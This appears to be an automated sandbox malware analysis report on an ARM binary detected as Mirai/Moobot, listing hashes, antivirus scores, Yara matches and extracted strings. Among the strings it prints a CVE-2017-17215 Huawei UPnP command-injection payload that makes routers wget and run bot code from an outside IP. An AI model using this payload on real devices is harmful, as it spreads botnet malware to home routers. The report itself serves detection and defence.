Linux Analysis Report
arm6.elf

Overview

General Information

Sample name: arm6.elf
Analysis ID: 1532492
MD5: 48fe980b381e67221e80c32b30d2483c
SHA1: 23306d07d49b4eb5a1804900659ec72050959e43
SHA256: 3a3826ee350fe97d04ebb6d23ff30b5c2b72da9ab51497a46453f0f5de43bb7c
Tags: CVE-2017-17215elfMiraiMooBotuser-NDA0E
Infos:

Detection

Mirai, Moobot
Score: 88
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Moobot
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
Name Description Attribution Blogpost URLs Link
MooBot No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.moobot

AV Detection
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Antivirus / Scanner detection for submitted sample
Source: arm6.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: arm6.elf ReversingLabs: Detection: 68%
Source: arm6.elf Virustotal: Detection: 57% Perma Link
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: arm6.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: arm6.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary
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Malicious sample detected (through community Yara rule)
Source: arm6.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5463.1.00007fedf8017000.00007fedf802a000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: arm6.elf PID: 5463, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 81.161.238.2 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample String containing 'busybox' found: HTTP/1.1 200 OKarmarm7mipsmipselx86_64sh4ppcm68k<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 81.161.238.2 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample String containing 'busybox' found: bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: f%s:%dwebservbinbin/busyboxbin/watchdogbin/systemd/bin/busybox/bin/watchdog/bin/systemdh
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Yara signature match
Source: arm6.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5463.1.00007fedf8017000.00007fedf802a000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: arm6.elf PID: 5463, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: classification engine Classification label: mal88.troj.linELF@0/0@2/0
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/arm6.elf (PID: 5463) Queries kernel information via 'uname': Jump to behavior
Source: arm6.elf, 5463.1.0000562e5a0ff000.0000562e5a22d000.rw-.sdmp Binary or memory string: Z.V!/etc/qemu-binfmt/arm
Source: arm6.elf, 5463.1.0000562e5a0ff000.0000562e5a22d000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: arm6.elf, 5463.1.00007ffcc39e0000.00007ffcc3a01000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: arm6.elf, 5463.1.00007ffcc39e0000.00007ffcc3a01000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm6.elf
Source: arm6.elf, 5463.1.00007ffcc39e0000.00007ffcc3a01000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information
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Yara detected Mirai
Source: Yara match File source: arm6.elf, type: SAMPLE
Source: Yara match File source: 5463.1.00007fedf8017000.00007fedf802a000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm6.elf PID: 5463, type: MEMORYSTR
Yara detected Moobot
Source: Yara match File source: arm6.elf, type: SAMPLE
Source: Yara match File source: 5463.1.00007fedf8017000.00007fedf802a000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm6.elf PID: 5463, type: MEMORYSTR

Remote Access Functionality
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Yara detected Mirai
Source: Yara match File source: arm6.elf, type: SAMPLE
Source: Yara match File source: 5463.1.00007fedf8017000.00007fedf802a000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm6.elf PID: 5463, type: MEMORYSTR
Yara detected Moobot
Source: Yara match File source: arm6.elf, type: SAMPLE
Source: Yara match File source: 5463.1.00007fedf8017000.00007fedf802a000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm6.elf PID: 5463, type: MEMORYSTR

No Screenshots

⊘No contacted IP infos

Contacted Domains

Name IP Active
daisy.ubuntu.com 162.213.35.24 true